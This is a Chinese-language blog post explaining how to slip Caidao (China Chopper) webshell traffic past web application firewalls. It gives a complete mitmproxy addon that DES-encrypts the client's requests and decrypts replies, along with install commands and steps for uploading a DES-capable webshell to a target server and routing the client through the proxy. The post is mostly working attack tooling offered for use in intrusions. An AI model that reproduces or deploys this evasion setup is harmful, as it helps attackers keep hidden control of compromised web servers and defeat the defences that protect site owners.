CaidaoMitmProxy:基于HTTP代理中转菜刀过WAF

2019-04-2700:01:34 发表评论

前言

在实际的渗透过程中,我们常常因为WAF而头疼。源码免杀了而传输层却被拦截了实在难受。虽然现在很多优秀的应用。如蚁剑,C刀,冰蝎等。本文就通过在不修改程序源码,不重复造轮子,代码量最少的前提下实现类似冰蝎的加密传输。

思路

如果我们要实现类似冰蝎那种数据加密传输必定要拦截菜刀的发送数据。如何拦截呢?这里就可以想到中间人劫持了。利用中间人拦截了菜刀的传输数据然后进行自定义加密再发送给webshell。这不就成功了吗?类似下图

CaidaoMitmProxy:基于HTTP代理中转菜刀过WAF

分割线上是菜刀正常的传输,下面是我们要实现的加密传输。在加密算法的选择上我选择了DES算法。

原因:

1. PHP 本版兼容性最高,代码量少且简单,不依赖openssl

2. 在其他脚本中也是相对较少的代码量和较好的兼容性

实现

基于菜刀20160622版本修改和测试。

利用MitmProxy作为中间人代理,只需要写个插件即可实现。

MitmProxy

安装(windows用户务必通过PIP安装mitmproxy,不然插件会出现找不到模块的错误)

pip[3] install mitmproxy

pip[3] install pydes

插件代码:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import base64
import mitmproxy.http
import pyDes
import random
from urllib.parse import quote

key = "KvCb2poU"
# 加密
def encrypt_str(key,data):
# 加密方法
method = pyDes.des(key, pyDes.ECB,pad=None, padmode=pyDes.PAD_PKCS5)
# 执行加密码
k = method.encrypt(data)
# 转base64编码并返回
return base64.b64encode(k)

# 解密
def decrypt_str(key,data):
method = pyDes.des(key, pyDes.ECB,pad=None, padmode=pyDes.PAD_PKCS5)
# 对base64编码解码
k = base64.b64decode(data)
# 再执行Des解密并返回
return method.decrypt(k)

class Counter:

def __init__(self):
pass

def request(self, flow: mitmproxy.http.HTTPFlow):

print(key)
print("first req:" + str(flow.request.content))
flow.request.content = bytes(quote(str(encrypt_str(key.encode(encoding="utf-8"), flow.request.content),encoding="UTF-8")),encoding="UTF-8")
print("req:" + str(flow.request.content))

def response(self,flow: mitmproxy.http.HTTPFlow):
flow.response.content = decrypt_str(key.encode(encoding="utf-8"),flow.response.content)
print("decrypt resp:" + str(flow.response.content,encoding="utf-8"))

addons = [
Counter()
]

使用

将支持 DES 加密的 Webshell 上传到服务器的 Web目录,运行下列代码开启代理中转(使用 -p 可以自定以端口)

CaidaoMitmProxy:基于HTTP代理中转菜刀过WAF

Windows:mitmdump -k -s 插件路径

Linux:mitmproxy -k -s 插件路径

用Proxifier等其他工具将菜刀或者域名加进代理规则即可。默认监听是8080,用菜刀直接连接就能开始用了。

 

发表评论

请登陆后发表评论